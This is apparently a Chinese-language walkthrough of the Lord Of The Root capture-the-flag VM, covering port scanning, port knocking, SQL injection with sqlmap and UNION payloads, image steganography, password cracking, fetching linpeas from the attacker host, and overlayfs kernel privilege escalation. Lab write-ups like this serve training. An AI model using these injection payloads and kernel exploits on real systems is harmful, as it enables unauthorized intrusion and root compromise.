资讯动态

Lord Of The Root靶机渗透:端口敲门、SQL注入与内核提权

发布时间:2026/10/1 6:14:27 来源:尧图企业网站定制
1. 这台靶机为什么值得反复刷Lord Of The Root 这个名字在老一批打靶圈子里算是有点分量的1.0.1 版本更是被很多人当作从会用工具过渡到会思考渗透路径的分水岭。它不靠堆砌一堆复杂漏洞为难你而是把信息收集、端口行为、Web 注入、隐写分析、凭据复用、内核提权这几块串成一条完整的链子。第一次上手的人容易卡在中段因为它的突破点藏得比较讲究不是那种nmap扫完就能一把梭的场景。我前后完整刷过它三遍每一遍都能挖出新的细节这也是我愿意把它单独拿出来讲的原因。这篇文章主要面向两类人一类是刚学完基础命令、想找一台难度适中的靶机练完整流程的新手另一类是打过一些 Web 靶机、但一提 Linux 提权就发怵的同学。我会把整个过程的决策逻辑讲清楚——为什么先扫全端口、为什么看到 1337 要格外留心、拿到低权限 shell 之后第一件事该做什么。所有命令和参数我都会给出来同时解释它们背后的意图方便你把这套思路迁移到别的靶机上。渗透测试工程师学习路上最缺的往往不是工具而是下一步该看哪里的判断力这篇就是奔着这个目标去的。需要先说明一点下面涉及的端口、路径、参数都是基于这台靶机的常见公开分析整理实战中如果你拿到的镜像版本略有差异以你自己扫出来的实际结果为准。靶场搭建和网络配置部分我会给一套稳妥的方案避免你还没开始打就被环境问题劝退。2. 环境准备与目标信息收集2.1 网络模式选择与目标定位打任何自建靶机第一件烦人的事就是让攻击机和靶机在同一个网段里能互相看见。我的习惯是给虚拟机单独挂一张 **Host-Only仅主机**网卡而不是图省事用桥接。原因很直接桥接会让靶机暴露在你当前所处的物理网络里家里路由器下挂一堆设备时容易互相干扰而且 DHCP 分配的地址段经常和你本机网段重叠排查起来很烦。Host-Only 把两个虚拟机关在一个私密的小院里谁也别打扰谁。如果你的虚拟化平台是 VMware攻击机 Kali 和靶机都接入同一个 VMnet比如 VMnet1手动给它们配同一网段。举个具体例子靶机设为192.168.176.130/24攻击机设为192.168.176.128/24网关留空都行。配完先互相ping一下通了再往下走。网络通了之后第一步是找出靶机 IP。很多人习惯netdiscover但我会先试arp-scan它在二层响应速度更快arp-scan -I eth0 --localnet扫出来之后记下目标地址。这里有一个我踩过的坑有时候靶机刚开机ARP 表还没刷新arp-scan扫不到。这时候用nmap做一次 ping 扫描更保险nmap -sn 192.168.176.0/24提示靶机启动后建议等 1 到 2 分钟再扫。有些靶机在开机脚本里会自动配置网络和启动服务太早扫描会出现端口时有时无的假象让人误判。2.2 全端口扫描与服务识别信息收集阶段我最强调的一点是先扫全端口再看服务版本。很多人上来只扫常见的前 1000 端口结果漏掉藏在高端口的服务。Lord Of The Root 的目标服务就在一个非常规端口上常规扫描很容易直接错过。我用的组合命令是这样nmap -sS -p- -T4 --min-rate 2000 -oN scan_all.txt 192.168.176.130拆开说-sS是 TCP SYN 半连接扫描速度快且不容易被日志完整记录-p-表示扫描 1 到 65535 的全部端口-T4是时序模板在稳定的本地网络里够用--min-rate 2000强制每秒至少发 2000 个包把全端口扫描时间压到几十秒-oN把结果落盘方便回头对照。全端口扫完通常会看到这么几个开放状态端口状态常见服务关注度22openSSH高最终立足点1337openHTTP最高主要突破口其他closed/filtered-低22 和 1337 这两个端口同时出现基本就定调了整台机器的打法Web 找入口SSH 拿 shell。接着对这两个端口做深度指纹识别nmap -sV -sC -p 22,1337 192.168.176.130-sC会跑一批默认脚本能帮你确认 HTTP 服务的标题、SSH 的主机密钥类型等信息。这里会看到 1337 上跑着一个 Apache版本大概在 2.4 这个区间。记住这个服务版本号后面判断提权路径时会用到 Linux 内核版本而不是它但顺手记录是职业习惯。注意别一上来就对 22 端口跑hydra暴力破解。这台靶机的 SSH 凭据是靠前面 Web 环节拿到的盲爆既浪费时间又可能触发防护。信息收集的核心是花钱花在刀刃上。3. 从 1337 端口撕开 Web 缺口3.1 页面结构与隐藏线索挖掘浏览器打开http://192.168.176.130:1337第一眼看到的是一个很朴素的页面风格像个人博客。这种页面最容易让人放松警惕觉得就是个静态站然后转身去扫别的端口。恰恰相反越是简单的页面越要盯着源码看。先做两件事看源码和查目录。看源码用快捷键CtrlU或者curl -s http://192.168.176.130:1337 | head -100很多靶机把关键提示塞在 HTML 注释里比如!-- knock knock --这种。这台靶机的源码里确实藏着东西一段看起来像 base64 的字符串或者一段被注释掉的提示指向一个非常规的访问机制。这里就是这道题的第一次思维转弯——它暗示你单纯扫端口是不够的需要理解服务对外呈现和实际开放的差异。目录爆破我推荐gobuster速度快、输出干净gobuster dir -u http://192.168.176.130:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,png-x指定扩展名相当于同时对index.php、a.txt这类组合进行探测。扫下来大概率会命中/images/这个目录。进去看看通常会有一张图片文件。这张图片别放过它要么是隐写的载体要么藏着文字信息。图片类线索的处理我放到下一节细讲。3.2 端口敲门机制的理解与实操前面源码里那段提示指向的是端口敲门Port Knocking。这个概念得解释一下因为它对新手比较陌生。正常情况下服务端口要么开要么关端口敲门的意思是服务器在防火墙层面把 SSH 端口默认封住只在你按特定顺序去敲几个指定端口后才临时开放 22 端口。相当于门口装了个暗号锁你得先按对节奏门才开。判断是否真的存在这个机制可以这样做对比测试扫 22 端口之前和之后的状态。如果 22 一直是filtered被过滤说明有防火墙规则挡着。结合源码提示里的端口序列比如 1、2、3 这种递增数字可以写一段循环去依次连接for p in 1 2 3; do nc -z -w 1 192.168.176.130 $p sleep 1 donenc -z只做连接测试不发数据-w 1限制超时逐端口敲过去。敲完之后立刻重新扫 SSH 端口nmap -p 22 192.168.176.130如果状态从filtered变成open说明敲门成功而且这个开放通常是有时间窗口的一般几十秒到一两分钟不等。提示端口敲门的顺序必须完全正确中间漏一个或顺序错了都不会生效。敲完马上测 SSH别磨蹭超时窗口过去了就得重敲。我在这一环节浪费过十分钟就是因为敲完先去喝水回来端口又关了。这个机制在真实环境里也存在属于隐蔽服务的一种思路。理解它对应急响应方向的同学也有帮助因为排查一台机器时防火墙规则里的端口序列往往是入侵者留下的痕迹。3.3 SQL 注入点的确认与数据提取SSH 敲开之后真正的主战场还是 1337 上的 Web。前面目录里会找到一个带参数的 PHP 页面形如index.php?id1。把id的值改成1观察回显如果页面报 SQL 语法错误基本确定存在注入http://192.168.176.130:1337/index.php?id1手工确认之后为了效率我会直接上sqlmapsqlmap -u http://192.168.176.130:1337/index.php?id1 --batch --dbs--batch让它自动选默认选项别老是问你。拿到数据库名之后逐层下钻sqlmap -u http://192.168.176.130:1337/index.php?id1 -D 库名 --tables sqlmap -u http://192.168.176.130:1337/index.php?id1 -D 库名 -T 表名 --columns sqlmap -u http://192.168.176.130:1337/index.php?id1 -D 库名 -T 表名 -C user,password --dump这里我建议你同时开着手工注入的思路别完全当脚本小子。原因在于靶机有时候会过滤关键字sqlmap的默认 payload 会被拦。手工试一下union select判断字段数id1 order by 3 id1 union select 1,2,3通过逐步增加order by的数字先判断出查询了几列再确定哪一列会回显到页面上最后把数据库名、表名、字段名一点点挤出来。这个过程看着笨但它练的是你对 SQL 结构的理解比无脑跑工具值钱得多。数据库里的表通常会存一个用户名和一段哈希密码或者干脆是明文。拿到之后别急着走把这组凭据和前面图片里的线索做交叉验证因为靶机经常把信息拆到多个位置逼你拼图。4. 图片隐写与凭据还原4.1 图片基础分析先看元数据再动手从/images/目录下载下来的那张图第一件事不是立刻上隐写工具而是先看它的基本信息。用file和exiftool过一遍file hint.png exiftool hint.pngexiftool会打印出图片的拍摄设备、软件、注释等元数据。有些靶机直接把账号密码写进Comment或Artist字段里这种属于最温柔的送分题。如果元数据是干净的再往下做隐写分析。第二件事是看图片的字符串信息。图片文件本质是二进制里面可能嵌着明文strings hint.png | grep -iE user|pass|name|keystrings把可打印字符抽出来grep过滤关键词。这一步经常会捞到意外惊喜比如一段用户名或者提示语。如果什么都没捞到说明信息被真正隐写了需要专门工具。4.2 隐写提取与密码还原处理 PNG 隐写我常用的工具有三类按从简到繁的顺序试binwalk扫描文件里是否嵌套了其他文件比如图里藏了个压缩包zsteg专门分析 PNG 的 LSB最低有效位隐写非常对症steghide虽然主要针对 JPG但对某些隐写方式也有效先跑binwalkbinwalk -e hint.png如果输出里有 Zip archive 或 gzip compressed data说明图里套了东西-e会自动提取出来。提取出的文件再解压、查看内容。再上zstegzsteg hint.png它会穷举各种位平面组合输出里如果出现一段人为可读的文本那基本就是它了。zsteg的输出可能很长用-a参数可以看全部通道但通常默认扫描就能命中。找到的这段文本可能就是 SSH 的用户名和密码或者是一个 hash。如果拿到的是 hash用hash-identifier判断类型再决定用john还是hashcat去解echo hash值 hash.txt john --wordlist/usr/share/wordlists/rockyou.txt hash.txt注意隐写提取出来的密码有时候带尾部换行符或空格直接拿去 SSH 登录会失败。复制粘贴时多留个心眼或者用cat -A看看有没有隐藏字符。我就因为多了一个\r卡了半小时。这一整套流程走完你应该已经拿到了可用的凭据。把用户名和密码记在本子上因为接下来的 SSH 登录和后续提权都可能反复用到。5. SSH 立足与内核提权实战5.1 低权限 shell 获取与初步枚举拿到凭据后登录 SSHssh 用户名192.168.176.130登录成功那一刻心态要立刻从突破切换到侦察。第一件事是搞清楚自己是谁、在什么系统上id uname -a cat /etc/os-releaseid看当前用户和所属组uname -a看内核版本和架构cat /etc/os-release看发行版。这三条命令的信息量极大尤其是内核版本往往直接决定提权路径。举一组典型输出做示范uname -a Linux lordoftheroot 3.13.0-32-generic #57-Ubuntu SMP ... x86_64 GNU/Linux看到3.13.0-32这个内核版本就要敏感起来了。这个版本在 Ubuntu 14.04 那个年代非常流行而它恰好存在一个著名的overlayfs 本地提权漏洞。判断路径的逻辑很清晰内核版本老旧 有公开的本地提权漏洞 优先尝试内核漏洞提权。除了内核版本还要跑一遍快速枚举脚本。我习惯用LinEnum或者上传一个linpeas.shwget http://192.168.176.128/linpeas.sh -O /tmp/lp.sh chmod x /tmp/lp.sh /tmp/lp.sh 2/dev/null | tee /tmp/lp.log脚本会自动检查 SUID 文件、定时任务、可写目录、sudo 配置等。这台靶机通常不需要那么复杂内核版本一出来答案就差不多定了但养成枚举习惯是好事。5.2 overlayfs 漏洞提权与参数理解overlayfs 提权的原理值得讲清楚不然你只是复制别人命令。简单说这个漏洞源于内核在处理 overlay 文件系统的上层目录时没有正确校验下层目录的权限。攻击者可以构造一个上层为可写、下层为只读指向系统敏感文件如/etc/passwd的挂载点然后通过改写上层文件的方式实际修改到下层被保护的系统文件。于是就能把自己的账号加进/etc/passwd或者直接写入一个带 root 权限的新用户。这类漏洞的利用代码在网上有公开版本一般在攻击机上编译好或者直接在靶机上编译。注意架构要对上前面uname -a显示x86_64那就用 64 位版本。流程大致是# 在靶机本地编译前提是有 gcc gcc exploit.c -o exploit -w ./exploit如果没有 gcc就在攻击机编译好再通过scp传过去scp exploit user192.168.176.130:/tmp/ chmod x /tmp/exploit /tmp/exploit执行成功后它会创建一个新的 root 级别用户。用这个新用户登录或者su切换过去su newroot id如果id显示uid0(root) gid0(root)提权成功。最后找 root 目录下的 flag 文件find / -name flag*.txt 2/dev/null cat /root/flag.txt提示内核漏洞利用有导致系统崩溃的风险这是它和配置类提权比如 sudo 配错最大的区别。在真实授权的渗透测试里动内核漏洞前一定要和客户确认并且做好快照。打靶机时无所谓但养成这个意识对职业发展有好处。另外靶机重启后你写进去的 root 用户会消失如果需要反复验证记得把提权步骤脚本化。这里我想强调一个思维习惯提权不是碰运气是顺着信息往下推。内核版本 → 找对应漏洞 → 评估利用风险 → 执行。每一步都有依据而不是把网上找到的 exp 一个个试过去。这种有依据的判断才是一个渗透测试工程师和脚本小子的本质差别。6. 踩坑记录与排查速查表6.1 高频问题与解决思路打这台靶机的过程中有些坑几乎人人都会踩。我把它们整理成表方便你对照排查现象可能原因排查与解决arp-scan扫不到靶机ARP 表未刷新 / 网络模式不对改用nmap -sn段扫描确认两机在同一 Host-Only 网卡22 端口显示 filtered端口敲门未触发或未生效检查源码提示的端口序列敲完立即重扫别超时1337 页面打不开服务未启动完 / 端口写错等待 1-2 分钟curl -I确认 HTTP 响应头目录爆破扫不出东西字典太小 / 扩展名没加换 medium 以上字典-x php,txt,png补扩展名sqlmap 报错或超时注入点被过滤 / 参数不对先手工验证id1是否报错再调 sqlmap 的--level --risk图片strings无输出信息被真正隐写用binwalk -e、zsteg进一步分析SSH 登录提示密码错误提取的密码带了隐藏字符cat -A检查换行和空格重新复制提权 exp 编译失败缺 gcc / 架构不匹配攻击机编译后scp传入注意 32/64 位提权后找不到 flagflag 藏在非常规路径find / -name flag* -o -name *.txt全局搜6.2 几个能省下大量时间的实操心得第一条心得是给每个阶段建一个笔记文件。我从信息收集开始就把 IP、开放端口、发现的路径、拿到的凭据逐条记下来。看起来啰嗦但当你在中段卡住、想回头验证某个线索时翻笔记比重新扫一遍快得多。渗透测试本质是一个信息逐步累积、逐步收敛的过程信息管理本身就是核心技能。第二条是命令输出尽量落盘。nmap -oN、sqlmap的输出、linpeas的日志全都存成文件。这么做有两个好处一是避免屏幕滚走丢失关键信息二是方便你事后复盘整条攻击链写报告时直接引用。很多同学打完靶机转头就忘就是因为没有留下可回看的证据。第三条是关于版本对应关系的判断训练。看到内核版本 3.13.0脑子里应该自动弹出Ubuntu 14.04 时代、overlayfs 提权这条联想。这种联想不是天生的是打多了之后建立的映射。我的建议是每打一台靶机就把它的关键版本号和对应的突破口记进一个自己的小本子攒到十几台之后你会发现自己看到任何版本号都能迅速定位方向。第四条是保留靶机快照。VMware 和 VirtualBox 都支持快照在开始渗透前打一个拿到 shell 后再打一个。这样当你某个提权操作把系统搞崩了可以一秒回滚不用重装。尤其是玩内核漏洞的时候快照就是你的后悔药。6.3 从这台靶机可以延伸的方向把这台机器吃透之后你会发现它其实是一个通用套路的缩影全端口扫描发现非常规服务 → Web 层挖掘隐藏机制和注入 → 从文件里提取凭据 → SSH 立足 → 内核提权。这条链子在很多渗透测试学习资源里都能见到比如各种 DC 系列靶机、TBBT 靶机打法思路是相通的。想继续提升的话我建议你在原有流程上主动加难度。比如关掉sqlmap完全用手工注入把数据抠出来或者放弃内核 exp去找这台机器上有没有配置类的提权点SUID、cron、sudo。同一个目标换一种打法练的是不同的肌肉。应急响应靶机-linux-whereis这类偏防御视角的题目也值得打完之后回顾站在防守方角度想一遍攻击者的每一条痕迹会留在哪、日志里长什么样。对我个人来说Lord Of The Root 的价值不在于它有多少个漏洞而在于它逼着我去理解服务行为、去读源码、去把零散线索拼成一条链。这种把点连成线的能力才是后面打更难的靶机、做真实项目时最依赖的东西。如果你也卡在某个环节多半不是工具不够而是某一步的信息你没读懂回头把每个阶段的输出再嚼一遍答案通常就藏在里面。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑